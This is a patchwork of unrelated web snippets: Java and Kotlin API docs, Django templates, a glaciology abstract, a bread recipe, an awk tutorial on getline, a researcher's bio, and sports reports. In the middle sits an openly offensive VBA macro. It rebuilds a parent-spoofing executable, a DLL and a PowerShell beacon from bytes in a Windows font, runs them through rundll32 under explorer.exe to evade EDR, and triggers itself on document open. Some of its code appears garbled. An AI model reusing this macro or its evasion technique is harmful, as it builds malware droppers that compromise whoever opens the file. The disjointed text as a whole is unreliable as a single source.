BufferStrategy
In Java 2 Standard Edition, you don't have to worry about video pointers
or video memory in order to take full advantage of either double-buffering
or page-flipping. The new class
java.awt.image.BufferStrategy
has been added for the convenience of dealing with drawing to surfaces
and components in a general way, regardless of the number of buffers used
or the technique used to display them.
A buffer strategy gives you two all-purpose methods for drawing: getDrawGraphics
and show. When you want to start drawing, get a draw graphics
and use it. When you are finished drawing and want to present your
information to the screen, call show. These two methods
are designed to fit rather gracefully into a rendering loop:
BufferStrategy myStrategy;
while (!done) {
Graphics g = myStrategy.getDrawGraphics();
render(g);
g.dispose();
myStrategy.show();
}
Buffer strategies have also been set up to help you monitor
VolatileImage
issues. When in full-screen exclusive mode,
VolatileImage
issues are especially important because the windowing system can sometimes
take back the video memory it has given you. One important example
is when the user presses the
ALT+TAB key combination in Windows--suddenly
your full-screen program is running in the background and your video memory
is lost. You can call the
contentsLost method to find
out if this has happened. Similarly, when the windowing system returns
your memory to you, you can find out using the
contentsRestored
method.
BufferCapabilities
As mentioned before, different operating systems, or even different
graphics cards on the same operating system, have different techniques
available at their disposal. These capabilities are exposed
for you so that you can pick the best technique for your application.
The class java.awt.BufferCapabilities encapsulates these capabilities.
Every buffer strategy is controlled by its buffer capabilities, so picking
the right ones for your application is very crucial. To find out
what capabilities are available, call the getBufferCapabilities
method from the GraphicsConfiguration objects available on your
graphics device.
The capabilities available in Java 2 Standard Edition version 1.4 are:
isPageFlipping
- This capability returns whether or not hardware
page-flipping is available on this graphics configuration.
isFullScreenRequired
- This capability returns whether or not
full-screen exclusive mode is required before hardware page-flipping should
be attempted.
isMultiBufferAvailable
- This capability returns whether or
not multiple buffering (two or more back buffers plus the primary surface)
in hardware is available.
getFlipContents
- This capability returns a hint of the technique
used to do hardware page-flipping. This is important because the
contents of the back buffer after a show are different depending
on the technique used. The value returned can be null (if isPageFlipping
returns false) or one of the following values. Any value
can be specified for a buffer strategy so long as the isPageFlipping method
returns true, though performance will vary depending on the available capabilities.
FlipContents.COPIED
- This value means that the contents of the
back buffer are copied to the primary surface. A "flip" is probably
performed as a hardware blt, which means that hardware double-buffering
is probably done using blitting instead of true page-flipping. This
should (in theory) be faster, or at least as fast, as blitting from a VolatileImage
to the primary surface, though your mileage may vary. The contents
of the back buffer are the same as the primary surface after a flip.
FlipContents.BACKGROUND
- This value means that the contents of
the back buffer have been cleared with the background color. Either
a true page-flip or a blt has occurred.
FlipContents.PRIOR
- This value means that the contents of the
back buffer are now the contents of the old primary surface, and vice versa.
Generally this value indicates that true page-flipping occurs, though this
is not guaranteed and, once again, your mileage on this operation may vary.
FlipContents.UNKNOWN
- This value means that the contents of the
back buffer are undefined after a flip. You may have to experiment
to find which technique works best for you (or you may not care), and you
will definitely have to set up the contents of the back buffer yourself
each time you draw.
To create a buffer strategy for a component, call the
createBufferStrategy
method, supplying the number of buffers desired (this number includes
the primary surface). If any particular buffering technique
is desired, supply an appropriate
BufferCapabilities object.
Note that when you use this version of the method, you must catch an
AWTException
in the event that your choice is not available. Also note that these
methods are only available on
Canvas and
Window.
Once a particular buffer strategy has been created for a component,
you can manipulate it using the getBufferStrategy method.
Note that this method is also only available for canvases and windows.
Programming Tips
Some tips about using buffer capabilities and buffer strategies:


- save() - Method in class ca.ualberta.CMPUT301W15T06.ClaimListManager
-
This method will save the ClaimList using a OutputStreamWriter
.
- savePhoto() - Method in class ca.ualberta.CMPUT301W15T06.Item
-
- searchByTag(String) - Method in class ca.ualberta.CMPUT301W15T06.ClaimList
-
Use the string variable tagName to do the search method
and return a Claim object with default value null..
- SeeComment - Static variable in class ca.ualberta.CMPUT301W15T06.R.id
-
- SeeNameForApprover - Static variable in class ca.ualberta.CMPUT301W15T06.R.id
-
- set_id(String) - Method in class ca.ualberta.CMPUT301W15T06.Hit
-
- set_index(String) - Method in class ca.ualberta.CMPUT301W15T06.Hit
-
- set_type(String) - Method in class ca.ualberta.CMPUT301W15T06.Hit
-
- set_version(String) - Method in class ca.ualberta.CMPUT301W15T06.Hit
-
- setAmount(Double) - Method in class ca.ualberta.CMPUT301W15T06.Item
-
This method will set an amount to Item
expenses and
notify Listener in listeners about this update.
- setApprover(String) - Method in class ca.ualberta.CMPUT301W15T06.Claim
-
Set the approver using a String variable name.
- setBeginDate(Date) - Method in class ca.ualberta.CMPUT301W15T06.Claim
-
Set up the beginDate and use notifyListeners()
in AppModel
to notify all the Listener in both listeners and modelListeners ArrayList.
- setCategory(String) - Method in class ca.ualberta.CMPUT301W15T06.Item
-
This method will set the category of Item
expenses and
notify Listener in listeners about this update.
- setComment(String) - Method in class ca.ualberta.CMPUT301W15T06.Claim
-
Set comment to a String comment.
- setCurrency(String) - Method in class ca.ualberta.CMPUT301W15T06.Item
-
This method will set a currency to the amount of Item
expenses and notify Listener in listeners about this update.
- setCurrentClaim(Claim) - Method in class ca.ualberta.CMPUT301W15T06.AppSingleton
-
Set up a new claim along with its status.
- setCurrentItem(Item) - Method in class ca.ualberta.CMPUT301W15T06.AppSingleton
-
Set up a new item.
- setDate(Date) - Method in class ca.ualberta.CMPUT301W15T06.Item
-
This method will set the date of Item
expenses and
notify Listener in listeners about this update.
- setDateEditText(EditText) - Method in class ca.ualberta.CMPUT301W15T06.AppSingleton
-
Set up a new EditText object date.
- setDescription(String) - Method in class ca.ualberta.CMPUT301W15T06.Item
-
This method will add a description to Item
expenses and
notify Listener in listeners about this update.
- setEditDate(Date) - Method in class ca.ualberta.CMPUT301W15T06.AppSingleton
-
Set up a new Date object date.
- setEndDate(Date) - Method in class ca.ualberta.CMPUT301W15T06.Claim
-
Set up the endDate and use notifyListeners()
in AppModel
to notify all the Listener in both listeners and modelListeners ArrayList.
- setFlag(boolean) - Method in class ca.ualberta.CMPUT301W15T06.Item
-
This method will set a flag to the Item
expenses and notify Listener in listeners about this update.
- setFound(boolean) - Method in class ca.ualberta.CMPUT301W15T06.Hit
-
- setIncomplete() - Method in class ca.ualberta.CMPUT301W15T06.Item
-
- setLastModify(Date) - Method in class ca.ualberta.CMPUT301W15T06.ClaimList
-
- setMissValue(boolean) - Method in class ca.ualberta.CMPUT301W15T06.AppModel
-
Set missValue to b, and notify all Listener in
listeners ArrayList and modelListeners ArrayList
about this update.
- setName(String) - Method in class ca.ualberta.CMPUT301W15T06.Claim
-
Set up the name and use notifyListeners()
in AppModel
to notify all the Listener in both listeners and modelListeners ArrayList.
- setName(String) - Method in class ca.ualberta.CMPUT301W15T06.Destination
-
Set up the name and use notifyListeners()
in AppModel
to notify all the Listener in both listeners and modelListeners ArrayList.
- setName(String) - Method in class ca.ualberta.CMPUT301W15T06.Tag
-
- setPhotoStr(String) - Method in class ca.ualberta.CMPUT301W15T06.Receipt
-
- setReason(String) - Method in class ca.ualberta.CMPUT301W15T06.Destination
-
Set up the reason and use notifyListeners()
in AppModel
to notify all the Listener in both listeners and modelListeners ArrayList.
- setRecipt(Receipt) - Method in class ca.ualberta.CMPUT301W15T06.Item
-
This method will create a receipt for the Item
expenses.
- setSource(T) - Method in class ca.ualberta.CMPUT301W15T06.Hit
-
- setStatus(String) - Method in class ca.ualberta.CMPUT301W15T06.Claim
-
Set up the status and notify all the Listener in both listeners and
modelListeners ArrayList.
- setSuc(boolean) - Method in class ca.ualberta.CMPUT301W15T06.AppSingleton
-
- showDatePickerDialog(View) - Method in class ca.ualberta.CMPUT301W15T06.ClaimantAddItemActivity
-
Create a DatePickerDialog object to help user(claimant) to enter
the item expenses date.
- showDatePickerDialog(View) - Method in class ca.ualberta.CMPUT301W15T06.ClaimantEditItemActivity
-
This method will display the DatePickerDialog by calling
AppSingleton
and DialogFragment
.
- showDatePickerDialogBegin(View) - Method in class ca.ualberta.CMPUT301W15T06.ClaimantAddClaimActivity
-
Create a DatePickerDialog object to help user(claimant) to enter
the starting date of the travel.
- showDatePickerDialogBegin(View) - Method in class ca.ualberta.CMPUT301W15T06.ClaimantEditClaimActivity
-
Create a DatePickerDialog object to help user(claimant) to enter
the starting date of the travel.
- showDatePickerDialogEnd(View) - Method in class ca.ualberta.CMPUT301W15T06.ClaimantAddClaimActivity
-
Create a DatePickerDialog object to help user(claimant) to enter
the ending date of the travel.
- showDatePickerDialogEnd(View) - Method in class ca.ualberta.CMPUT301W15T06.ClaimantEditClaimActivity
-
Create a DatePickerDialog object to help user(claimant) to enter
the ending date of the travel.
- sort() - Method in class ca.ualberta.CMPUT301W15T06.ClaimList
-
Sort the claimList.
- startClaimant(View) - Method in class ca.ualberta.CMPUT301W15T06.MainActivity
-
This method will allows user to start and enter the application
as a claimant.
- StartDateApprover - Static variable in class ca.ualberta.CMPUT301W15T06.R.id
-
- startDateClaimantClaimDetailTextView - Static variable in class ca.ualberta.CMPUT301W15T06.R.id
-
- startDateValueClaimantClaimDetailTextView - Static variable in class ca.ualberta.CMPUT301W15T06.R.id
-
- StatusException - Exception in ca.ualberta.CMPUT301W15T06
-
The StatusException
class is an sub-class of Exception
.
- StatusException() - Constructor for exception ca.ualberta.CMPUT301W15T06.StatusException
-
- submit() - Method in class ca.ualberta.CMPUT301W15T06.ClaimantClaimListController
-
Add a new claim to the claimList and change status to
"Submitted".


{% extends 'base.html' %} {% load bornhack %} {% block title %} Zettle Balance List | Backoffice | {{ block.super }} {% endblock %} {% block content %}
A list of {{ zettlebalance_list.count }} zettle balances imported from their system via Excel files.
{% if not zettlebalance_list %}No ZettleBalances found. Go import an Excel file!
{% else %}Zettle Dashboard Backoffice {% include "includes/zettle_balance_list_table.html" %}
{% endif %}


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This application predicts and visualizes lottery numbers,
all which are based on one real eastern Asian lottery data.
We developed this application merely for demostration purpose;
therefore, we don't warranty ANY damage or loss from using this
application.
This application is written mainly in Python and R,
licensed under MIT.


Virtual Machine Extensions
Enables interrupt and exception handling extensions in virtual-8086 mode when set; disables the extensions when clear. Use of the virtual mode extensions can improve the performance of virtual-8086 applications by eliminating the overhead of calling the virtual-8086 monitor to handle interrupts and exceptions that occur while executing an 8086 program and, instead, redirecting the interrupts and exceptions back to the 8086 programís handlers.


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Step 1: Find Potential Site(s)
Add sites to the map to view estimated costs
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Step 2: Compare Potential Site(s)
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Step 3: Connect to Nairobi Water or an Alternative
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{% extends "watsan/dashboard/base.html" %} {% load thumbnail %} {% block title %}{{project.name}}{% endblock %} {% block content %}
Add sites to the map to view estimated costs
Click the buttons below to get more details


class NotesAdapter : Adapter<NotesHolder>
RecyclerView adapter for notes
notes
- Notes that should be added into view
activity
- Activity where RecyclerView exists
NotesHolder |
RecyclerView holder for notes's cards class NotesHolder : ViewHolder |
<init> |
RecyclerView adapter for notes NotesAdapter(notes: Array<Note>, activity: Activity) |
getItemCount |
fun getItemCount(): Int |
onBindViewHolder |
Adds data into cards based on given note's position fun onBindViewHolder(holder: NotesHolder, position: Int): Unit |
onCreateViewHolder |
fun onCreateViewHolder(parent: ViewGroup, viewType: Int): NotesHolder |


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Abstract:
We use Gravity Recovery and Climate Experiment (GRACE) monthly gravity
fields to determine the regional acceleration in ice mass loss in Greenland
and Antarctica for 2003–2013. We find that the total mass loss is
controlled by only a few regions. In Greenland, the southeast and northwest
generate 70% of the loss (280 ± 58 Gt/yr) mostly from ice dynamics,
the southwest accounts for 54% of the total acceleration in loss
(25.4 ± 1.2 Gt/yr2) from a decrease in surface mass balance
(SMB), followed by the northwest (34%), and we find no significant
acceleration in the northeast. In Antarctica, the Amundsen Sea (AS) sector
and the Antarctic Peninsula account for 64% and 17%, respectively,
of the total loss (180 ± 10 Gt/yr) mainly from ice dynamics. The AS
sector contributes most of the acceleration in loss (11 ± 4
Gt/yr2), and Queen Maud Land, East Antarctica, is the only
sector with a significant mass gain due to a local increase in SMB (63
± 5 Gt/yr).


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[page:Curve] →
[name]
Creates a 2d curve in the shape of an ellipse.
Example
var curve = new THREE.EllipseCurve(
0, 0, // ax, aY
10, 10, // xRadius, yRadius
0, 2 * Math.PI, // aStartAngle, aEndAngle
false // aClockwise
);
var path = new THREE.Path( curve.getPoints(50) );
var geometry = path.createPointsGeometry( 50 );
var material = new THREE.LineBasicMaterial( { color: 0xff0000 } );
//Create the final Object3d to add to the scene
var ellipse = new THREE.Line( geometry, material );
Constructor
[name]([page:Float aX], [page:Float aY], [page:Float xRadius], [page:Float yRadius], [page:Radians aStartAngle], [page:Radians aEndAngle], [page:Boolean aClockwise])
aX – The X center of the ellipse
aY – The Y center of the ellipse
xRadius – The radius of the ellipse in the x direction
yRadius – The radius of the ellipse in the y direction
aStartAngle – The start angle of the curve in radians starting from the middle right side
aEndAngle – The end angle of the curve in radians starting from the middle right side
aClockwise – Whether the ellipse is clockwise
Note: When going clockwise it's best to set the start angle to (Math.PI * 2) and then work towards lower numbers.
Properties
[property:Float aX]
[property:Float aY]
[property:Radians xRadius]
[property:Radians yRadius]
[property:Float aStartAngle]
[property:Float aEndAngle]
[property:Boolean aClockwise]
Methods
See [page:Curve] for inherited methods
Source
[link:https://github.com/mrdoob/three.js/blob/master/src/[path].js src/[path].js]


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about
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Zopf
- ⏲ Prep time: 30 min (plus one hour rising)
- 🍳 Cook time: 30 min
Ingredients
- 1kg white wheat flour
- ½L milk
- 125g butter
- 14g dry yeast
- 1½T salt
- 1 egg
Directions
- Cut or tear up butter and put in skillet with milk on low heat (This is so the ingredients are not too clod, temperature should not exceed 31 C).
- Put the flour in a large bow with the yeast, salt, milk and butter.
- Mix and kneed for at least 15 minutes making sure to stretch the dough a lot.
- Let the dough rest in a warm spot for at least one hour (temperature should not be higher than 31 C).
- Start heating an oven at 200 C (no need to preheat, it will be a good temperature once you are done braiding)
- Cut the dough in two or three sections (different according to region), then stretch and roll into long pieces.
- Braid the strips, place on a parchment lined baking sheet and brush down with a beaten egg.
- Bake for 30 minutes testing with a wooden skewer in the widest part when done. IF the skewer comes out clean, you are done, if not add 5 minutes and repeat.
- Wait for the bread to cool before cutting.
Contribution
Recipe tags:
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Contents:
The getline Function
The close() Function
The system() Function
A Menu-Based Command Generator
Directing Output to Files and Pipes
Generating Columnar Reports
Debugging
Limitations
Invoking awk Using the #! Syntax
This chapter is proof that not everything has its place. Some things just don't seem to fit, no matter how you organize them. This chapter is a collection of such things. It is tempting to label it "Advanced Topics," as if to explain its organization (or lack thereof), but some readers might feel they need to make more progress before reading it. We have therefore called it "The Bottom Drawer," thinking of the organization of a chest of drawers, with underwear, socks, and other day-to-day things in the top drawers and heavier things that are less frequently used, like sweaters, in the bottom drawers. All of it is equally accessible, but you have to bend over to get things in the bottom drawer. It requires a little more effort to get something, that's all.
In this chapter we cover a number of topics, including the following:
The getline function
The system() function
Directing output to files and pipes
Debugging awk scripts
The getline function is used to read another line of input. Not only can getline read from the regular input data stream, it can also handle input from files and pipes.
The getline function is similar to awk's next statement. While both cause the next input line to be read, the next statement passes control back to the top of the script. The getline function gets the next line without changing control in the script. Possible return values are:
| 1 | If it was able to read a line. |
| 0 | If it encounters the end-of-file. |
| -1 | If it encounters an error. |
NOTE: Although getline is called a function and it does return a value, its syntax resembles a statement. Do not write getline(); its syntax does not permit parentheses.
In the previous chapter, we used a manual page source file as an example. The -man macros typically place the text argument on the next line. Although the macro is the pattern that you use to find the line, it is actually the next line that you process. For instance, to extract the name of the command from the manpage, the following example matches the heading "Name," reads the next line, and prints the first field of it:
# getline.awk -- test getline function /^\.SH "?Name"?/ { getline # get next line print $1 # print $1 of new line. }
The pattern matches any line with ".SH" followed by "Name," which might be enclosed in quotes. Once this line is matched, we use getline to read the next input line. When the new line is read, getline assigns it $0 and parses it into fields. The system variables NF, NR, and FNR are also set. Thus, the new line becomes the current line, and we are able to refer to "$1" and retrieve the first field. Note that the previous line is no longer available as $0. However, if necessary, you can assign the line read by getline to a variable and avoid changing $0, as we'll see shortly.
Here's an example that shows how the previous script works, printing out the first field of the line following ".SH Name."
$awk -f getline.awk test
XSubImage
The sorter.awk program that we demonstrated at the end of Chapter 9, Functions, could have used getline to read all the lines after the heading "Related Commands." We can test the return value of getline in a while loop to read a number of lines from the input. The following procedure replaces the first two procedures in the sorter program:
# Match "Related Commands" and collect them /^\.SH "?Related Commands"?/ { print while (getline > 0) commandList = commandList $0 }
The expression "getline > 0" will be true as long as getline successfully reads an input line. When it gets to the end-of-file, getline returns 0 and the loop is exited.
Besides reading from the regular input stream, the getline function allows you to read input from a file or a pipe. For instance, the following statement reads the next line from the file data:
getline < "data"
Although the filename can be supplied through a variable, it is typically specified as a string constant, which must be enclosed in quotes. The symbol "<" is the same as the shell's input redirection symbol and will not be interpreted as the "less than" symbol. We can use a while loop to read all the lines from a file, testing for an end-of-file to exit the loop. The following example opens the file data and prints all of its lines:
while ( (getline < "data") > 0 ) print
(We parenthesize to avoid confusion; the "<" is a redirection, while the ">" is a comparison of the return value.) The input can also come from standard input. You can use getline following a prompt for the user to enter information:
BEGIN { printf "Enter your name: " getline < "-" print }
This sample code prints the prompt "Enter your name:" (printf is used because we don't want a carriage return after the prompt), and then calls getline to gather the user's response.[1] The response is assigned to $0, and the print statement outputs that value.
[1] At least at one time, SGI versions of nawk did not support the use of "-" with getline to read from standard input. Caveat emptor.
The getline function allows you to assign the input record to a variable. The name of the variable is supplied as an argument. Thus, the following statement reads the next line of input into the variable input:
getline input
Assigning the input to a variable does not affect the current input line; that is, $0 is not affected. The new input line is not split into fields, and thus the variable NF is also unaffected. It does increment the record counters, NR and FNR.
The previous example demonstrated how to prompt the user. That example could be written as follows, assigning the user's response to the variable name.
BEGIN { printf "Enter your name: " getline name < "-" print name }
Study the syntax for assigning the input data to a variable because it is a common mistake to instead write:
name = getline # wrong
which assigns the return value of getline to the variable name.
You can execute a command and pipe the output into getline. For example, look at the following expression:
"who am i" | getline
That expression sets "$0" to the output of the who am i command.
dale ttyC3 Jul 18 13:37
The line is parsed into fields and the system variable NF is set. Similarly, you can assign the result to a variable:
"who am i" | getline me
By assigning the output to a variable, you avoid setting $0 and NF, but the line is not split into fields.
The following script is a fairly simple example of piping the output of a command to getline. It uses the output from the who am i command to get the user's name. It then looks up the name in /etc/passwd, printing out the fifth field of that file, the user's full name:
awk '# getname - print users fullname from /etc/passwd BEGIN { "who am i" | getline name = $1 FS = ":" } name ~ $1 { print $5 } ' /etc/passwd
The command is executed from the BEGIN procedure, and it provides us with the name of the user that will be used to find the user's entry in /etc/passwd. As explained above, who am i outputs a single line, which getline assigns to $0. $1, the first field of that output, is then assigned to name.
The field separator is set to a colon (:) to allow us to access individual fields in entries in the /etc/passwd file. Notice that FS is set after getline or else the parsing of the command's output would be affected.
Finally, the main procedure is designed to test that the first field matches name. If it does, the fifth field of the entry is printed. For instance, when Dale runs this script, it prints "Dale Dougherty."
When the output of a command is piped to getline and it contains multiple lines, getline reads a line at a time. The first time getline is called it reads the first line of output. If you call it again, it reads the second line. To read all the lines of output, you must set up a loop that executes getline until there is no more output. For instance, the following example uses a while loop to read each line of output and assign it to the next element of the array, who_out:
while ("who" | getline) who_out[++i] = $0
Each time the getline function is called, it reads the next line of output. The who command, however, is executed only once.
The next example looks for "@date" in a document and replaces it with today's date:
# subdate.awk -- replace @date with todays date /@date/ { "date +'%a., %h %d, %Y'" | getline today gsub(/@date/, today) } { print }
The date command, using its formatting options,[2] provides the date and getline assigns it to the variable today. The gsub() function replaces each instance of "@date" with today's date.
[2] Older versions of date don't support formatting options. Particularly the one on SunOS 4.1.x systems; there you have to use /usr/5bin/date. Check your local documentation.
This script might be used to insert the date in a form letter:
To: Peabody From: Sherman Date: @date I am writing you on @date to remind you about our special offer.
All lines of the input file would be passed through as is, except the lines containing "@date", which are replaced with today's date:
$awk -f subdate.awk subdate.test
To: Peabody From: Sherman Date: Sun., May 05, 1996 I am writing you on Sun., May 05, 1996 to remind you about our special offer.


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I'm currently an MS student studying Computer Science at Stanford, advised by Juan Carlos Niebles at the Stanford Vision and Learning Lab. Previously I graduated from UC Berkeley with a BS in EECS, where I worked with Dan Hendrycks and was advised by Dawn Song and Jacob Steinhardt. I've also interned at Meta, where I worked on scaling ads ranking models, and most recently at TikTok, where I worked on video understanding for creator tools and recommendation.
I am broadly interested in computer vision, especially work in the area of efficient video understanding and representation learning. This site hosts my course and personal projects that I thought were cool, notes about what I've been reading and learning about, and some of the teaching resources for I've compiled over the years!
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Mantas Mazeika*, Eric Tang*, Andy Zou, Steven Basart, Jun Shern Chen, Dawn Song, David Forsyth, Jacob Steinhardt, Dan Hendrycks NeurIPS (Datasets and Benchmarks Track), 2022 (Oral) Introduces the VCE and V2V datasets for understanding emotional response and viewer wellbeing for video data. |
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Torino 0-3 Inter: Lukaku keeps Conte’s men on Juve’s tail
by FSA EditorAmid wet conditions, Inter enjoyed an impressive victory over Torino to keep up the pressure on Juventus.
Inter moved back to within a point of Serie A leaders Juventus with a comprehensive 3-0 away win over Torino.
After kick-off was briefly delayed to allow for water to be swept from the pitch amid heavy rain, Lautaro Martinez scored his eighth goal of the season in the 12th minute.
Twenty minutes later, Stefan de Vrij’s first strike of 2019-20 had Inter two ahead and Romelu Lukaku scored his 10th Serie A goal of the campaign after the break to wrap up the points.
In-form Lukaku is the first Inter player to score 10 goals in the first 13 matchdays of a debut Serie A season since Stefano Nyers in 1948-49.
It was a frustrating start for Torino, who lost influential captain Andrea Belotti to injury and fell behind before they could bring on Simone Zaza as his replacement.
They were caught out by Matias Vecino’s header which allowed Martinez to race clear and find the bottom corner with a right-footed finish.
Simone Verdi fired narrowly wide at the other end, but Salvatore Sirigu had to produce an excellent save from Lukaku’s powerful header and Inter doubled their lead from the resulting corner, Cristiano Biraghi’s in-swinging cross from the right tapped in by an unmarked De Vrij at the back post.
A magnificent stop from Samir Handanovic in first-half stoppage time preserved Inter’s two-goal advantage, the goalkeeper diving to claw away Verdi’s deflected cross.
The visitors lost Nicolo Barella to an injury of their own and were relieved when Armando Izzo sent a good headed chance off target just after the break.
Inter made sure of victory after 55 minutes, though, Lukaku’s right-footed effort going through the legs of Bremer and beating Sirigu after he had been found by Marcelo Brozovic.
Handanovic was at his best once more to tip away Verdi’s free-kick but a home fightback never looked likely in the latter stages.
What does it mean? Inter make light work of Torino test
After Juventus had battled back late on to earn a win away to Atalanta earlier on Saturday, this fixture and the difficult playing conditions presented a potential obstacle for Inter.
The Nerazzurri had not won in five league meetings against Torino, but they negotiated the challenge comfortably to remain right behind Juve at the top.
Brozovic brilliant for Inter
Brozovic had an excellent performance, creating five chances for his team-mates including Lukaku’s goal, while he had more passes and touches than anyone else in Antonio Conte’s side as he constantly looked to get involved.
Torino defence found wanting
Torino have only won once in eight league matches and their early defending here gave them little chance of getting back on form.
The backline was completely caught out when Sirigu’s clearance was headed back towards them by Vecino for the opener, while the second goal saw a quick corner surprise them, with Biraghi given time to deliver his cross and no defender in the vicinity of goalscorer De Vrij.
What’s next?
Inter will look to build on this result when they are away to Slavia Prague in the Champions League on Wednesday, before a home league game against SPAL on Sunday. Torino are away against Genoa on Saturday.


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South Africa Beat England 32-12 to Win Rugby World Cup Final
South Africa won Rugby World Cup defeating an England team, 32-12, and extending the supremacy of teams from the Southern Hemisphere in the competition.
The final, held Saturday in Yokohama, ended with a 32:12 victory for the South Africans. Among the winners, Handre Pollard scored 22 points, Makazole Mapimpi and Cheslin Colby both scored tries while for England, Owen Farrell kicked 12 points.
New Zealand came third after beating Wales yesterday.
It was South Africa's third World Cup win, equalling New Zealand's record.


The following (crappy) VBA code will use the bytes array we created to generate malicious components. The next steps of the following code is to select Explorer.exe as a parent process for RunDll32.exe (to confuse EDR products ;-)), then will execute the malicious components with RunDll32.exe (a .DLL running a PowerShell beacon from an .ICO resource). You could replace this by injecting memory processes instead of writing files to the disk. The exercise is left to the reader.
VBA code:
[...] --> you array of bytes containing the position of necessary bytes in the Windings font.
'example to join the bytes for the fist malicious component
t1 = cc1
t2 = cc2
t3 = cc3
t4 = cc4
t5 = cc5
t6 = cc6
t7 = cc7
t8 = cc8
t9 = cc9
t10 = cc10
t11 = cc11
t12 = cc12
t13 = cc13
t14 = cc14
t15 = cc15
t16 = cc16
t17 = cc17
t18 = cc18
ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _
& "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",")
[...]
Dim nb As Integer
Dim nb2 As Integer
nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array
nb2 = UBound(tt) - LBound(tt) + 1
nb3 = UBound(ttttttt) - LBound(ttttttt) + 1
Dim intFileNumber As Integer
Dim i As Integer
Dim j As Integer
Dim lngFileSize As Long
Dim lngFileSize2 As Long
Dim strBuffer As String
Dim strBuffer2 As String
Dim lngCharNumber As Long
Dim lngCharNumber2 As Long
Dim strCharacter As String * 1
Dim strCharacter2 As String * 1
Dim strFileName As String
Dim strFileName2 As String
Dim offset() As Variant
strFileName = "C:\Windows\Fonts\wingding.ttf"
intFileNumber = FreeFile
Open strFileName For Binary Access Read Shared As #intFileNumber
lngFileSize = LOF(intFileNumber)
strBuffer = Space$(lngFileSize)
Get #intFileNumber, , strBuffer
Close #intFileNumber
Dim nFileNum As Long
Dim sFilename As String
Dim ind As Long
sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32
sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image
sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO
nFileNum = FreeFile
' a loop would be better ;-)
Open sFilename2 For Binary Lock Read Write As #nFileNum
For lngCharNumber = 0 To nb - 1
ind = lngCharNumber + 1
off = ttt(lngCharNumber)
strCharacter = Mid(strBuffer, off, 1)
Put #nFileNum, ind, strCharacter
Next lngCharNumber
Close #nFileNum
nFileNum = FreeFile
Open sFilename For Binary Lock Read Write As #nFileNum
For lngCharNumber = 0 To nb2 - 1
ind = lngCharNumber + 1
off = tt(lngCharNumber)
strCharacter = Mid(strBuffer, off, 1)
Put #nFileNum, ind, strCharacter
Next lngCharNumber
Close #nFileNum
nFileNum = FreeFile
Open sFilename3 For Binary Lock Read Write As #nFileNum
For lngCharNumber = 0 To nb3 - 1
ind = lngCharNumber + 1
off = ttttttt(lngCharNumber)
strCharacter = Mid(strBuffer, off, 1)
Put #nFileNum, ind, strCharacter
Next lngCharNumber
Close #nFileNum
rr
End Sub
Sub rr()
Dim xx As String
Dim oihfasf As Object, eopuf As Object, kdj As Object
Dim oDic As Object, a() As Variant
Dim pskaf As Integer
Set oDic = CreateObject("Scripting.Dictionary")
xx = "."
Set oihfasf = GetObject("winmgmts:\\" _
& xx & "\root\CIMV2")
Set eopuf = oihfasf.ExecQuery _
("Select Name, ProcessID FROM Win32_Process", , 48)
For Each kdj In eopuf
If (kdj.Properties_("Name").Value) = "explorer.exe" Then
pskaf = (kdj.Properties_("ProcessID").Value)
End If
Next
Dim t As Date
Dim cnt As Long
Dim arr(2) As Byte
Dim xl As String
xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "."
Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")
Set os = ow.Get("Win32_ProcessStartup")
Set oc = os.SpawnInstance_
Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process")
op.Create xl, Null, oc, aslh
End Sub
Sub AutoOpen()
cc
End Sub
Sub Workbook_Open()
cc
End Sub


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| ConfigurationExpander |
Interface to allow configuration expansion.
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| ContentDeliveryConfig |
Content delivery configuration.
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| ContentDeliveryConfigBuilderLifecycleListener |
Lifecycle listener for events fired during building of the
ContentDeliveryConfig
for a profile. |
| ContentHandler<T> |
Content Handler interface definition.
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| ContentHandlerFactory |
ContentHandler factory interface.
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| ExecutionLifecycleCleanable |
Execution Lifecycle Cleanable resource.
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| ExecutionLifecycleInitializable |
Execution Lifecycle Initializable resource.
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Filter bypass interface.
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No longer required.
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| VisitLifecycleCleanable |
Visit Lifecycle Cleanable resource.
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| Visitor |
Abstract Visitor interface.
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| VisitorAppender |
Vistor appender.
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| AbstractContentDeliveryConfig |
Abstract
ContentDeliveryConfig . |
| AbstractParser |
Abstract Parser.
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| ContentDeliveryConfigBuilder |
Content delivery configuration builder.
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| ContentHandlerConfigMap<T extends ContentHandler> |
Mapping between a resource configuration and its corresponding resource
configuration.
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| ContentHandlerConfigMapTable<T extends ContentHandler> |
Simple table for storing
ContentHandlerConfigMap lists against a selector string. |
| DOMModel |
Node model.
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| DomModelCreator |
DOM Node Model creator.
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| Filter |
Content filter.
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| Fragment |
Fragment.
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| JavaContentHandlerFactory |
Java ContentHandler instance creator.
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| SmooksContentHandler |
Abstract SAX Content Handler.
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| VisitorConfigMap |
Visitor Configuration Map.
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| XMLReaderHierarchyChangeListener |
ExecutionContext aware XMLReader change listener.
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| Enum | Description |
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| ContentDeliveryConfigBuilderLifecycleEvent |
ContentDeliveryConfigBuilder lifecycle events. |
| Filter.StreamFilterType |
Filter type enumeration.
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| VisitSequence |
Element visit sequence.
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| UnsupportedContentHandlerTypeException |
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Failed to complete the measurement.
This could be due to a change in connectivity during the test, blocking of the test by the network or other factors.


Inferred templates are templates not directly owned by a given implementation guide, but are referenced by it.
Example Scenario
Implementation Guide A directly contains Template A, B and C
Implementation Guide B directly contains Template D, E and F
Template D contains Template A from Implementation Guide A
